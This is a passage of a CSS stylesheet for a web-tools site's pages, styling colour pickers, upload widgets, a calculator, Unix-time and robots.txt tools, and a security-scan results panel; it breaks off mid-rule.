.RegularSearWrite-wrap span.w820{ width:600px;} .RegularSearWrite-cont{float:left; height: 22px; line-height:22px; margin: 3px 0px 0px 10px; padding: 0px; background: transparent none repeat scroll 0% 0%; border: 0px none; outline: 0px none;} .RegularSearWrite-right{width:110px;} .RegularSearWrite-btn{width:110px; background:#55a7e3; color:#fff;font-size: 14px;height:30px;padding: 0px;border: 0px none;cursor: pointer;} .RegularSearWrite-btn:hover{ filter: alpha(opacity=80);opacity: 0.8;} .RegularSearWrite-left .wbtnLink{ font-size:12px; color:#0474c8; line-height:30px; height:30px;letter-spacing:normal; *width:55px;} .RegularSearWrite-left .quickdelete{background:url(http://cdn.chinaz.com/tools/images/public/quickdelete.png) 7px 7px no-repeat; width:32px; height:22px; position:absolute; right:0; top:0; display:none;} .RegularSearWrite-left .search-hint,.RegularSearWrite-left .search-hint02{font-size:14px; color:#c0c1c4; position:absolute; left:13px;margin-top:5px; *margin-top:7px;letter-spacing:normal; font-weight:normal; z-index:0; top:0;} .ResultContWrap{ padding:10px; width:1150px;} .ResultContHead{ height:30px;} .ResultContMain{ width:1150px;} .ResultContMain .ResultContMainTxt{ line-height:30px; font-size:14px; padding:5px 10px; width:1130px;} .ResultContWrap,.ResultContWrap02{ width:1170px;} .ResultContWrap02{ border:1px solid #c6cede; border-right:none;} .ResultContWrap02 li{ width:584px; float:left; border-right:1px solid #c6cede;} .ResultContWrap02 .RCW02textar{ height:125px; border:none; width:564px; padding:10px; font-size:14px; color:#747d87;} .ResultContWrap02 .RCW02textar textarea.RCW02textar{ border:none;} .pusmall .ResultContWrap02{ width:980px;} .pusmall .ResultContWrap02 li{ width:489px;} .pusmall .ResultContWrap02 .RCW02textar{ width:468px;} .pusmall .RegularWrap{ width:980px;} .pusmall .ResultContMain,.pusmall .ResultContWrap{ width:960px;} .pusmall .ResultContMain .ResultContMainTxt{ width:930px;} /*htmlteshufuhao-begin*/ .ColorHead{ padding-bottom:10px; overflow:hidden;} .ColorHead span,.ColorHead input{ display:inline-block; height:30px; line-height:30px;} .ColorHead input{ border:1px solid #c6cede; font-size:16px; color:#56688a; padding-left:5px;} .Tsfuhao-Wrap,.Tsfuhao-Wrap02{ width:98%;font-size: 14px;} .CorXuanzeqW{} .CorXuanzeqW .CorXtit{ padding:10px 0px;} .CorXuanzeqW .CorXtit strong{ width:120px; height:30px; line-height:30px; font-size:14px; color:#fff; display:block; background-color:#55a7e3; text-align:center;} .CorXuanzeqW th,.CorXuanzeqW td{ border-collapse: collapse;padding: 7px;text-align:center;} .CorXuanzeqW td { border: 1px solid #f5f5f5; padding: 7px; color:#56688a;} .CorXuanzeqW th { border: 1px solid #f5f5f5; background-color:#869AC2; color:#fff; font-weight:normal;} .Tsfuhao-Wrap02 table{ *border-left:1px solid #c6cede; *border-bottom:1px solid #c6cede;_border-left:1px solid #c6cede; _border-bottom:1px solid #c6cede;} .Tsfuhao-Wrap02 th,.Tsfuhao-Wrap td{border: 1px solid #c6cede;border-collapse: collapse;padding: 7px; *border-left:none; *border-bottom:none;} .Tsfuhao-Wrap02 .Pspan {color: #336699;font-size: 14px; padding-right:10px;} .Tsfuhao-Wrap02 .box1{padding: 3px 15px;} .Tsfuhao-Wrap02 .Ptable{ width:99%; margin-left:25px; border-left:1px solid #c6cede;} .Tsfuhao-Wrap02 .Ptable li{ padding:5px 10px; border-bottom:1px solid #c6cede; border-right:1px solid #c6cede;} .Tsfuhao-Wrap02 .Ptable li.tbor{border-top:1px solid #c6cede;} .Tsfuhao-Wrap02 .Ptd {width:10.3%;color: #369; float:left;} .pusmall .Tsfuhao-Wrap02 .Ptable{ margin-left:10px;} /*html-colortiaoseban-begin*/ .TsCorBan-Wrap{font-family: 'Microsoft YaHei';} .TsCorBan-Wrap .TableCent01 th,.TsCorBan-Wrap .TableCent01 td{border: 1px solid #c6cede;border-collapse: collapse;} .TsCorBan-Wrap .TableCent02 th,.TsCorBan-Wrap .TableCent02 td{ width:100%; height:100%;border: 1px solid #c6cede;border-collapse: collapse;} /*html-colorChangYong-begin*/ .CorContent{ width:98%; padding:10px 0px; position:relative;} .CorContent h1{ font-size:20px;} .CorContent h2{ font-size:16px;} .CorContent h1,.CorContent h2{color: #fff;padding: 2px 4px;background-color: #56688a; font-weight:normal;} .CorContent h2{margin: 10px 0px;} .CorContent h3{padding: 2px 4px; line-height:30px; color:#56688A;} .CorContent .CorConList{ width:1175px; clear:both;} .CorContent .boxc,.CorContent .boxr{float: left;display: block;padding: 30px 0px 0px;width: 85px;margin-bottom:4px;} .CorContent .boxc{margin-right: 4px;} .CorContent .boxr{margin-right: 30px;} .CorContent .blockQuote{ padding:7px 14px; margin-bottom:10px; background-color:#dfe4ee; color:#960; line-height:24px;clear:both;} .CorCYnavbar{ width:1200px; position:fixed; right:auto; *right:auto; /**right:-13px;_right:0px;*/ bottom:0px; /*margin-left:-13px;*position:absolute;_position:absolute; */text-align:center; background-color:#929db3;} .CorCYnavbar a,.CorCYnavbar span{ display:block; height:30px; line-height:30px; color:#fff;border-bottom:1px solid #929db3;} .CorCYnavbar a{ padding:0px 20px; margin-right:1px; background-color:#56688a; float:left;} .CorCYnavbar span{ background-color:#929db3; display:block; border-bottom:1px solid #fff;} .CorCYnavbar a:hover{ text-decoration:none;filter: alpha(opacity=80);opacity: 0.8;} .CorCYnavShow{ width:30px; padding:3px 5px; color:#fff; text-align:center;position:fixed; z-index:99;/**position:absolute; _position:absolute;*/right:15px; *right:15px; bottom:55px; *bottom:55px;border-radius: 3px; background-color:#56688a; cursor:pointer;} .CorCYclose{ width:20px; height:20px; position:absolute; right:15px; top:5px; color:#fff; cursor:pointer;} .pusmall .CorContent .CorConList{ width:975px;} .pusmall .CorContent .boxc,.pusmall .CorContent .boxr{padding: 58px 0px 0px;width: 68px;} .pusmall .CorCYnavbar{ width:1000px;} /*html-colorChuanTongPeiSe-begin*/ .CorTongHead{ font-size:18px; padding:10px 0px; text-align:right; border-bottom:1px solid #c6cede;} .CorTongHead a{ background-color:#fff; padding:0px 20px; margin-left:15px;} .CorTongHead a.CorCurrt,.CorTongHead a:hover{ text-decoration:none;} .CorTongHead a:hover{filter: alpha(opacity=80);opacity: 0.8; } .CorTongHead a.CorCurrt{ background-color:#56688A; color:#fff;} .CTCor-centtainer{max-width:1180px; _width:1180px; margin:0 auto; padding:0px 10px;} .CTCor-centtainer .white,.CTCor-centtainer .white a,.CorConList .white{color:#FFF;} .CTCor-centtainer ul {float: right; width: 118px;} .CTCor-centtainer ul li{display: block; padding:5px; margin:0 2px 2px 0; cursor:pointer;} #tester{ padding:5px 10px; margin: 18px 0 0 60px; display:none; position:absolute; font-size:12px;} .CTCor-centtainer ul li a{ color:#333;} .CTCor-centtainer ul li a span{display: block; font-size:14px; cursor: pointer;} .pusmall .CTCor-centtainer{max-width:980px; _width:980px;} /*ChuTu-upload-Corlor-begin*/ .ChuTu-upload-con{padding:0px 10px 0px 10px;} .ChuTu-upload-con .ChuTu-upload-img{border:#C6CEDE 2px solid;text-align: center;background: #fff; height:325px;} .ChuTu-upload-con .ChuTu-upload-img .CtupLimgBtnWrap{ width:120px;height:30px; padding-top:150px;} .ChuTu-upload-con .ChuTu-upload-img .CtupLimgBtnWrap .CtupLimgBtn{ height:30px; line-height:30px; cursor:pointer;} .ChuTu-upload-con .ChuTu-MainColor{padding: 10px 0;font-size: 16px;} .ChuTu-upload-con .ChuTu-MainColor .tit,.ChuTu-CTpse .tit{line-height: 30px; background-color:#c6cede; margin-bottom:10px; padding-left:10px;} .ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl{float: left;width: 234px;height: 72px;cursor: pointer; margin-right: 2px;} .ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl dd{height: 40px;} .ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl dt{text-align: center;line-height: 30px;height: 30px; margin-top:2px; color:#56688a; background-color:#e8e8e8;} .ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl dt.tishi{text-align: center;color: #ff0000;} .pusmall .ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl{width: 190px;} .pusmall .ChuTu-CTpse .CTCor-cent dl{ width:67px;} .ChuTu-CTpse{background: #fff;margin: 1px;padding:0px 10px 0px 10px;font-size: 16px;overflow: hidden} .ChuTu-CTpse .CTCor-cent{width: 100%} .ChuTu-CTpse .CTCor-cent dl{float: left;width: 77px;height: 70px;margin-right: 12px;cursor: pointer;} .ChuTu-CTpse .CTCor-cent dl dd{height: 42px;margin-bottom: 5px;} .ChuTu-CTpse .CTCor-cent dl dt{text-align: center;line-height: 20px;font-size: 14px; color:#56688a; background-color:#E8E8E8;} .ChuTu-CTpse .CTCor-cent dl dt.tishi{text-align: center;color: #ff0000;} /*Uploadify*/ .uploadify{position: relative;margin-bottom: 1em;cursor: pointer;} .uploadify-button{background-color: #55a7e3;color: #FFF;text-align: center;width: 100%;} .uploadify:hover .uploadify-button,.CtupLimgBtn:hover{filter: alpha(opacity=80);opacity: 0.8;} .uploadify-button.disabled{background-color: #2F87C1;color: #808080;} .uploadify-queue{margin-bottom: 1em;} .uploadify-queue-item{background-color: #F5F5F5;-webkit-border-radius: 3px;-moz-border-radius: 3px;border-radius: 3px;margin-top: 5px;max-width: 350px;padding: 10px;} .uploadify-error{background-color: #FDE5DD !important;} .uploadify-queue-item .cancel a{background:url(uploadify-cancel.png) 0 0 no-repeat;float: right;height:16px;text-indent: -9999px;width: 16px;} .uploadify-queue-item.completed{background-color: #E5E5E5;} .uploadify-progress{background-color: #E5E5E5;margin-top: 10px;width: 100%;} .uploadify-progress-bar{background-color: #0099FF;height: 3px;width: 1px;} /*web-ColorSafeColors-begin*/ /*filter-choese-begin*/ .SafeCorCent-down{ width:1170px;font-size:12px;background: #FFF none repeat scroll 0% 0%;overflow: auto; display:block;} .SafeCorCent-down li{line-height:30px;cursor: pointer;text-align:left; float:left;} .SafeCorCent-down li a{color:#747d87; display:inline-block;padding:0px 10px;} .SafeCorCent-down li a:hover{text-decoration:none;background: #f5f5f5; color:#747d87;} .SafeCorCent-down li.bg-blue03 a{color:#fff;} .SafeCorCent-down li.bg-blue03 a:hover{ color:#fff; background-color:#55a7e3;} .pusmall .SafeCorCent-down{width:980px;} .ColorCentWrap{ padding-left:15px; overflow:hidden;} .ColorCentWrap h2{ padding-bottom:10px; margin-bottom:10px; text-align:right; width:98%; border-bottom:1px solid #c6cede; clear:both;} .color{padding-bottom: 1em; text-align: center;} .col{width: 14.2%; _width: 14.5%; padding: 0px 1% 1% 0px; height:auto; box-sizing: border-box; float: left; overflow:hidden;} .swatches{ overflow:hidden;} .color .swatch{height: 120px; width: 100%; border-top-left-radius: 8px; border-top-right-radius: 8px;} .color .swatch, .color h3{display: block;/* float: left; border: 1px solid #E6E6E6;*/ width:100%; height:80px; box-sizing: border-box;} .color h3{border: 1px solid #E6E6E6;} .color h3{width: 100%; height: 50px; border-top: 0px none; padding: 0.5em; _padding: 0;font-size: 0.8em; margin-bottom: 0px; background: #FAFAFA none repeat scroll 0% 0%;} .color h3 .html, .color h3 .rgb{display: block;font-size: 1em; height:20px; line-height:20px;} .color h3 .html b{ float: left;} .color h3 .html b, .color h3 .rgb b{display: block; padding-right: 0.25em; color: #333; box-sizing: border-box; font-weight: normal;} .color h3 .html b{ width: 45%; text-align:left;} .color h3 .rgb b{float: right; } .color h3 .html span, .color h3 .rgb span{box-sizing: border-box; float: left; padding-right: 0.25em;font-weight: normal;} .color h3 .html b.fr, .color h3 .rgb b{ text-align: right;} /*web-UseKuoZhanMing-begin*/ .ResultListWrap .DelListCent{ line-height:40px; *margin-top:-4px;} .ResultListWrap .DelRLHead div,.ResultListWrap .DelRLlist div,.ResultListWrap .DelRLHead p{ display:inline-block; float:left; padding:0px 5px; text-align:center;} .ResultListWrap .DelRLHead:hover{ } .ResultListWrap .DelRLHead{ color:#56688a; background-color:#dfe4ee; height:40px; overflow:hidden;} .ResultListWrap .DelRLlist{ color:#747d87; height:40px; overflow:hidden;} .ResultListWrap .DelRLlist div{ height:40px; line-height:40px; overflow:hidden;} .ResultListWrap .DelListCent div.listImg { text-align:center;} .ResultListWrap .DelListCent div.listImg a{ height:40px;display:table-cell;vertical-align:middle; width:inherit;} .ResultListWrap .DelListCent div.listImg a img{display:inline-block;vertical-align:middle; *margin-top:10px;} .ResultListWrap .DelRLlist span,.ResultListWrap .DelRLlist span.adSpon{ overflow:hidden; height:40px; display:inline-block;} .keywords-box{width:290px;padding:2px;} .keywords-box textarea{ height:150px;width:95%;border:1px solid #c6cede; background-color:#fff; padding:5px; line-height:30px; } .keywords-list{ width:870px;} .keywords-list li.DelRLlist{ border-bottom:1px solid #e8e8e8;} .ResultListWrap.keywords-list li{ line-height:30px;height:30px;} .pusmall .keywords-list{ width:680px;} .pusmall .keywords-list li.DelListCent div.w32-0{ width:30%;} .UseRetrievalWrap{ padding-top:20px; width:98%;} .UseRetrievalWrap p{ height:auto; overflow:hidden; padding-bottom:10px;} .UseRetrievalWrap p span{ display:inline-block; float:left; color:#747d87; line-height:24px;} .UseRetrievalWrap p a{ display:inline-block; float:left; padding:0px 7px; background-color:#fff; border:1px solid #c6cede; margin-right:10px; margin-bottom:10px; font-size:14px;font-family: 'Microsoft YaHei'; color:#888888;} .UseRetrievalWrap p a:hover{ text-decoration:none; background-color:#f1f9ff;} /*web-UseErWeiMa-begin*/ .ErWcodeBtn{ font-size:14px;} .ErWcodeBtn input,.AnalysisCent-left .ALTextBtnWrap input{display:inline-block; float:left; border:none; text-align:center; height:35px; line-height:35px;} .ErWcodeBtn input.currtBtn:hover{ background-color:#2f87c1 !important;} .ErWcodeBtn input.currtBtn{ color:#fff; background-color:#55a7e3;} .ErWcodeBtn input.LinkBrn{ background-color:#f1f9ff; color:#0474c8;} .ErWcodeBtn input.LinkBrn:hover{ background-color:#c2dbed !important;} .ScErWeimaImg{ width:150px; height:150px; border:1px solid #c6cede;} .PjErWeimaWrap{ padding-top:30px; padding-bottom:30px;} .PjErqrcode{width: 213px;height: 80px; border: 1px solid #f1f9ff; cursor:pointer; background: url(http://cdn.chinaz.com/tools/images/public/tool-pus.png) center center #f1f9ff no-repeat;} .PjErqrcode #SWFUpload_0{ width:213px; height:80px; cursor:pointer;} /*web-Font-DanCiTongJi-begin*/ .FontDanCiWrap{ width:98%;} .AnalysisCent{} .AnalysisCent-left{ width:870px;} .AnalysisCent-left textarea{border:1px solid #c6cede; background-color:#fff; padding:10px; line-height:22px; width:848px; height:210px;} .AnalysisCent-left .ALTextBtnWrap{ padding-top:10px;} .AnalysisCent-left .ALTextBtnWrap input{ display:inline-block; text-align:center; float:right;} .AnalysisCent-right{ width:290px;} .AnalysisCent-right li{ height:20px; line-height:20px; padding:5px; width:280px; border-bottom:1px solid #e8e8e8; _margin-top:-2px;} .AnalysisCent-right li span,.AnalysisCent-right li strong{ display:inline-block; overflow:hidden; height:30px;text-overflow: ellipsis;white-space: nowrap; font-size:14px;} .AnalysisCent-right li span{float:left; text-align:left; width:72%; color:#747d87;} .AnalysisCent-right li span a{ color:#747d87;} .AnalysisCent-right li strong{ font-weight:normal; color:#0474c8;float:right; text-align:right; width:25%;} .pusmall .AnalysisCent .AnalysisCent-left{ width:675px;} .pusmall .AnalysisCent-left textarea{width:653px;} .ResultListWrap.keywords-list .DelRLlist div{ height:30px; line-height:30px;} /*NetWork-begin*/ .NetWorkWrap{} .NetWorkWrap .MainHead{font-family: 'Microsoft YaHei'; font-size:16px; font-weight:normal; color:#0474c8; padding:5px 10px;} .NetWorkWrap .NetWork-main01{ width:100%;} .NetWorkWrap .MainCent{} .NetWorkWrap .MainCent .MCentlist{ padding-left:10px; height:auto; *padding-right:7px; *height:26px;} .NetWorkWrap .MainCent .MCentlist label,.NetWorkWrap .MainCent .MCentlist input{ display:inline-block; float:left; line-height:22px;} .NetWorkWrap .MainCent .MCentlist label{ line-height:24px;} .NetWorkWrap .MainCent .MCentlist input{ margin-left:10px; *margin-left:5px;} .NetWorkWrap .MainCent .MCentlist input.Intxt{ background-color:#fff; border:1px solid #c6cede; height:22px; width:43px; padding-left:2px;} .NetWorkWrap .MainCent .MCentlist input.Inbtn{ background-color:#f1f9ff; border:1px solid #c6cede; height:24px; width:45px; color:#0474c8;} .NetWorkWrap .MainCent .MCentlist input.Inbtn:hover,.UnitCountCent li input.UccBtn:hover{border:1px solid #a9d6f7;filter: alpha(opacity=80);opacity: 0.8;} .NetWork-left,.NetWork-right{width:48%; padding:1%; _width:47.5%; float:left;} .pusmall .NetWork-left,.pusmall .NetWork-right{ _width:470px;} .ObtainList{ position:absolute; display:block; width:500px; max-height:700px;font-family: 'Microsoft YaHei'; padding:20px; background-color:#fff; border:1px solid #c6cede; left:-300px; top:200px; overflow-y:scroll;} .ObtainList table { border-top:1px solid #c6cede; border-left:1px solid #c6cede; font-size:14px;} .ObtainList table th,.ObtainList table td{ text-align:center;border-bottom:1px solid #c6cede; border-right:1px solid #c6cede;} .ObtainList table td{ padding:5px 10px;} .ObtLClose{ display:inline-block; height:24px; width:24px; text-align:center; line-height:24px; position:absolute; right:0px; top:0px;font-size:16px;} .ObtLClose:hover{ text-decoration:none; background-color:#f1f9ff; filter: alpha(opacity=80);opacity: 0.8;} /*NetWorkWrap-choese-begin*/ .NetWorkW-choese{height:24px;display:inline-block; } .NetWorkW-cont{cursor: pointer; background-color:#fff; padding: 0px 5px;color:#747d87;height:22px;line-height:22px;font-size:12px;border:solid #c6cede;border-width:1px; display: inline-block;-webkit-user-select:none;-moz-user-select:none;} .NWicon-drop-down{position: absolute;right: 5px;top: 10px;overflow: hidden;width: 0px;height: 0px;cursor: pointer;border-width: 5px 4px 0px;border-color: #999999 #FFF;border-style: solid;display: block;} .NetWorkC-down{position: absolute;top: 24;left: 0px;right: 0px;border:solid #c6cede;border-width:0px 1px 1px 1px;list-style-type: none;z-index: 1;font-size:12px;background: #FFF none repeat scroll 0% 0%;overflow: auto;max-height: 220px;letter-spacing:normal;display:none;} .NetWorkC-down li{line-height:21px;cursor: pointer;text-align:left;} .NetWorkC-down li:hover{background: #f5f5f5;} .NetWorkC-down li a{color:#747d87; display:block;padding-left: 7px;} .NetWorkC-down li a:hover{text-decoration:none;} /*UnitCountWrap-begin*/ .UnitCountWrap{ height:auto;} .UnitCountCent{ overflow:hidden; padding:0px 0px 10px 0px;font-family: 'Microsoft YaHei';} .UnitCountCent li{ display:inline-block; float:left; width:30%; margin-left:1.5%; height:30px; padding:10px 0 10px 1px; text-align:right; border-bottom:1px solid #f8f8f8;} .UnitCountCent li label,.UnitCountCent li input{ display:inline-block; height:30px; line-height:30px;} .UnitCountCent li label{ float:left;} .UnitCountCent li input{float:right;} .UnitCountCent li label{ color:#56688a; padding-right:10px;} .UnitCountCent li label span{ display:block; height:16px; line-height:16px; width:100%} .UnitCountCent li label span.unit{ height:14px; line-height:14px; color:#888888;} .UnitCountCent li input.UccTxt{ border:1px solid #c6cede; height:28px; color:#747d87; font-size:18px; padding:0px 5px; width:130px;_width:145px;} .UnitCountCent li input.UccBtn{background-color:#f1f9ff; border:1px solid #c6cede;height:30px; padding:0px 10px; margin-left:5px; margin-right:5px; color:#0474c8;} .UnitCountWrap .UccAllBtn{ background-color:#55a7e3; width:100px; height:30px; border:none; color:#fff;font-family: 'Microsoft YaHei'; font-size:14px;} .UnitCountWrap .UccAllBtn:hover{ filter: alpha(opacity=80);opacity: 0.8;} .pusmall .UnitCountCent li{ width:31.5%; margin-left:1%;padding:10px 0 10px 1px;} .pusmall .UnitCountCent li input.w46-0{ width:43%;} /*CalculatorWrap-begin*/ .CalculatorWrap{ margin:0px auto;} .CalculatorWrap input{ border: 1px solid transparent;border-radius: 3px;color: #fff; line-height:24px;font-size:16px;font-family: 'Microsoft YaHei';} .CalculatorWrap input:hover{ filter: alpha(opacity=80);opacity: 0.8;} .CalculatorWrap .ShowAreaWrap{ width:100%;} .CalculatorWrap .ShowArea{ font-size:18px; border:1px solid #c6cede; height:30px; padding:5px 10px;width:97%; color:#56688a !important;} .CalculatorWrap .CalculTable{border:1px solid #c6cede; padding:20px; background-color:#fafbfd; width:850px; height:390px; margin:30px auto;} .CalculatorWrap .CalculTable .heachackWrap{ padding-left:10px; font-size:16px; overflow:hidden; height:30px;} .CalculatorWrap .CalculTable .heachackWrap li{ display:inline-block; float:left;line-height:24px;height:24px;} .CalculatorWrap .CalculTable .heachackWrap li input{border-radius: 3px;color: #fff; line-height:24px;height:24px;} .heachackWrap li input.Hcolor01{ width:54px;} .heachackWrap li input.HTxt01{ background-color:#f1f9ff;border-color: #c6cede; width:54px; padding-left:3px; line-height:24px; height:24px; color:#56688a !important;} .CentChackBox input{height:40px; cursor:pointer; margin-bottom:10px;} .CentChackLeft{ width:228px;} .CentChackLeft li input{ width:66px; margin-right:10px; float:left;} .CentChackSide{width:85px; margin-left:5px;} .CentChackSide input{ width:76px;} .CentChackRight{float:right; width:516px;} .CentChackRight li input{ width:76px; margin-left:10px; float:left;} .CentChackLeft,.CentChackSide,.CentChackRight{ height:230px;} .CentChackLeft li input.Lcolor01,.CentChackRight li input.Rcolor01{background-color: #55a7e3;border-color: #0474c8;} .CentChackLeft li input.Lcolor02,.CentChackSide input,.CentChackRight li input.Rcolor02,.heachackWrap li input.Hcolor01{ background-color:#929db3;border-color: #56688a;} /*CalculatorWrap-end*/ /*CodingWrap-begin*/ .CodingWrap{ width:1170px;} .pusmall .CodingWrap{ width:970px;} .CodChangeWrap{ width:100%;} .CodChangeWrap .CodChangLeft,.CodChangeWrap .CodChangRight{ width:43%; _width:42%;} .CodChangeWrap .CodChangLeft .CodchaLtxt,.CodChangeWrap .CodChangRight .CodchaLtxt{ width:95%; padding:5px 10px; line-height:24px;} .CodChangeWrap .CodChangCent{ width:14%;} .CodChangCent .CodCBtnWrap input.GBtn{padding:0px 12px; border:none; height:35px; color:#0474c8;font-size:14px; line-height:35px; text-align:center; } .CodChangCent .CodCBtnWrap input.GLOkBtn{ background-color:#55a7e3; color:#fff;display:inline-block;font-family: 'Microsoft YaHei';vertical-align:middle; _width:100px;} .CodChangCent .CodCBtnWrap{display:table-cell;vertical-align:middle; overflow:hidden; text-align:center; width:160px; height:200px;} .CodChangCent .CodCBtnWrap input:hover{filter: alpha(opacity=80);opacity: 0.8;} .pusmall .CodCBtnWrap .ml25{ margin-left:10px;} .pusmall .CodChangCent .CodCBtnWrap{ *width:136px; *height:180px; *padding-top:35px;} .textInfo{ position:absolute; line-height:30px;color: #cccccc; font-size: 12px;left: 10px; line-height: 22px; position: absolute;} /*unixtime-begin*/ .unixtimeWrap{font-family: 'Microsoft YaHei';} .utspan{ background-color:#fff; border:1px solid #c6cede; padding:5px 10px; font-size:14px;} .pusmall .UnTimeW{ margin-bottom:20px; overflow:hidden; _padding-left:5%; _width:90%;} .UnTimeW .InputTxt{ border:1px solid #c6cede; background-color:#fff; height:30px; line-height:30px; padding:0px 5px;} .UnTimeW .InputBtnW{ border:1px solid #c6cede; border-left:none;height:40px; margin-top:20px; position:relative; z-index:3; margin-left:-1px;} .UnTimeW .InputBtnC{ border:1px solid #c6cede; background-color:#fff; text-align:center; line-height:30px; height:30px;} .pusmall .UnTimeW div.ml20{ _margin-left:0;} .PresentTxt{ text-align:center; overflow:hidden;border-bottom:1px solid #c6cede; padding-bottom:20px;font-family: 'Microsoft YaHei';} .PresentTxt span,.PresentTxt a{ display:inline-block; float:left;} .PresentTxt a{ padding:5px; border:1px solid #c6cede; background-color:#fff; margin-left:10px;} .PresentTxt a:hover,.UnTimeW .InputBtnC:hover{ text-decoration:none; background-color:#f1f9ff;} .UnTimeW {overflow:hidden;} .PosTxt label{ text-align:right; width:260px; padding-right:10px; line-height:30px;} .ReveTxt label,.ReveTxt input,.PosTxt label,.PosTxt input{ display:inline-block; float:left;} .ReveTxt label{ line-height:30px; padding-left:3px; padding-right:3px;} .unixtimeWrap .utdHead{ line-height:30px; font-size:16px;color:#0474c8; padding:10px 0px;} .unixtimeWrap table{ width:100%;border-left:1px solid #c6cede; border-top:1px solid #c6cede;} .unixtimeWrap table td{ border-right:1px solid #c6cede; border-bottom:1px solid #c6cede;padding:10px;color:#56688a;} .unixtimeWrap table .uttd{ background-color:#f3f5f9; font-weight:bold;} /*unixtime-end*/ /*---------------OtherWeb--------------------*/ .OtherWeb-Title{ height:35px; border-bottom:1px solid #FFDCA6; background-color:#FBF2E4; clear: both;} .OtherWeb-Title .TitLeft{font-size:16px; color:#56688a; line-height:35px; font-weight:normal;} .OtherWeb-Title .dthead{background-color: #F1A32F; height: 16px;margin: 10px 10px 0 10px; width: 3px;} .OtherWeb-ContWrap{ width:990px;background-color:#fff;transition: all 0.3s;} .OtherWeb-ContWrap li{display:block; float:left;background-color:#fff; width:470px; margin:0px 5px 0px 5px; padding: 6px 6px 7px 6px;transition: all 0.3s;} .OtherWeb-ContWrap li .h4a{ font-size:16px;} .OtherWeb-ContWrap li .Hpa{line-height:24px; width:100%; overflow:hidden;display:block;color:#56688a;} .OtWrap{ background-color:#e8e8e8; width:1200px;} .OtLeft{ width:190px; margin-right:10px; height:710px; background-color:#fff;} .OtLeft ul{ border-top:3px solid #55a7e3;} .OtLeft ul li{ height:40px; border-bottom:1px solid #e8e8e8; font-size:16px; *maragin-top:-4px; _maragin-top:-4px;} .OtLeft ul li a{ display:block; padding:5px 0px; line-height:30px; padding-left:20px; color:#56688a;} .OtLeft ul li a:hover,.OtLeft ul li a.OtLcurt{ text-decoration:none; background-color:#55a7e3; color:#fff;} .OtRight{ width:1000px; height:710px; background-color:#fff;} /*pusmall*/ .pusmall .OtWrap{ background-color:#e8e8e8; width:1000px;} .pusmall .OtRight{ width:800px;background-color:#fff;} .pusmall .OtherWeb-ContWrap{ width:800px; padding-top:10px;} .pusmall .OtherWeb-ContWrap li { width:375px; } .pusmall .OtherWeb-ContWrap li .Hpa{line-height:20px; height:40px;} /*---------------OtherWeb--------------------*/ /*DuanLinks-begin*/ .DuanLinks{ background-color:#f1f9ff; padding:10px 0px 10px 20px;} .DuanLinks p{ line-height:40px;font-family: 'Microsoft YaHei'; font-size:16px;} .DuanLinks p span,.DuanLinks p input{ display:inline-block; float:left;} .DuanLinks p input.DuanBtn{ background-color:#55a7e3; border:none; padding:3px 20px; color:#fff; margin-top:7px;} .DuanLinks p input.DuanBtn:hover{filter: alpha(opacity=80);opacity: 0.8; } .DuanLinks p span{ padding-right:15px;} /*DuanLinks-end*/ /*---------------Robots--------------------*/ .RobotsList{} .RobotsLeft{ width:150px; padding-right:10px; text-align:right; font-size:14px; color:#56688a; line-height:30px; height:30px;} .RobotsRight{ width:1040px;} .RobotsRight input{ display:block;float:left; background:none; height:28px; line-height:28px; border:1px solid #c6cede; margin-right:10px; margin-bottom:10px;} .RobotsRight input.RobTxt{ background-color:fff; width:208px; padding:0px 10px; color:#56688a;} .RobotsRight input.RobBtn{ height:30px; line-height:30px; *height:28px; *line-height:28px;background-color:#f1f9ff; color:#0474c8; width:128px;} .RobotsRight input.RobBtn:hover{border:1px solid #a9d6f7; filter: alpha(opacity=80);opacity: 0.8;} .RobotsRight .RobBtnWrap{ height:40px; padding-top:20px; padding-bottom:20px;} .RobotsRight .RobBtnWrap input{display:block;float:left;border:none; height:40px; line-height:40px;margin-right:10px; font-size:14px;width:120px; text-align:center;color: #0474c8;} .RobotsRight .RobBtnWrap input.RobBtn02{ background-color:#55a7e3; color:#fff;} .RobotsRight .RobBtnWrap input:hover{ filter: alpha(opacity=80);opacity: 0.8;} .pusmall .RobotsRight{ width:840px;} .RobotsRodList{ width:950px; padding:10px; border:1px solid #c6cede; position:relative; margin-top:15px; z-index:1;} .RobotsRodList .RodTitle{ position:absolute; z-index:2; right:10px; height:24px; line-height:24px; padding:0px 10px; background-color:#fff; top:-12px; font-weight:bold; font-size:14px;font-family: 'Microsoft YaHei'; color:#56688a;} .RobotsRodWrap li{ padding:3px 0px;} .RobotsRodWrap li .TxtRadio,.RobotsRodWrap li .TxtLable{ display:inline-block; float:left;} .RobotsRodWrap li .TxtLable{ line-height:30px; height:30px; padding-right:10px; width:130px; font-weight:bold; color:#56688a;font-family: 'Microsoft YaHei'; text-align:right;} .RobotsRodWrap li .TxtRadio{ width:18px; height:16px; margin-top:7px; cursor:pointer;} .RobotsRodWrap li .TxtRadioA{ background-position:-44px 0px;} .RobotsRodWrap li .TxtRadioD{ background-position:-44px -25px;} .RobotsCent{ width:970px; padding:10px;} .pusmall .RobotsCent{width:770px;} .pusmall .RobotsRodList{ width:750px;} .pusmall .RobotsRodWrap li .TxtLable{ padding-left:10px; width:100px;} /*webscan-begin*/ .jg_conlist{float: left;overflow: hidden;padding-left: 10px;width: 185px;} .jg_dangerous, .jg_serious, .jg_warning, .jg_security, .jg_weizhi, .jg_conlist dd, .jg_tips2 a, .fc_warning, .fc_security, .fc_dangerous, .fc_serious, .fc_weizhi, #sub_conlist dd{ background:url(http://cdn.chinaz.com/tools/images/webscan/icon-wbes-tips.png) no-repeat;} #jg_tips{font-size: 14px;font-weight: bold;height: 26px;left: 85px;line-height: 26px;overflow: hidden;position: absolute;text-align: left;text-indent: 26px;top: 1px;width: 60px;} .jg_serious{background-position: 2px -24px;color: #fc3b2c;} .jg_conlist dl{background:none;border: 0 none;font-size: 100%;margin: 0;outline: 0 none;padding: 0 0 10px 15px;vertical-align: baseline;} .jg_conlist dt{background:url(http://cdn.chinaz.com/tools/images/webscan/icon-wbes-allbg.jpg) no-repeat scroll left top;color: #333333;font-size: 14px;font-weight: bold;height: 28px;line-height: 28px;margin-bottom: 10px;position: relative;text-align: left;text-indent: 12px;} .jg-bipin{float: left;overflow: hidden;position: relative;width: 280px;} .jg-bp-title{font-size: 14px;font-weight: 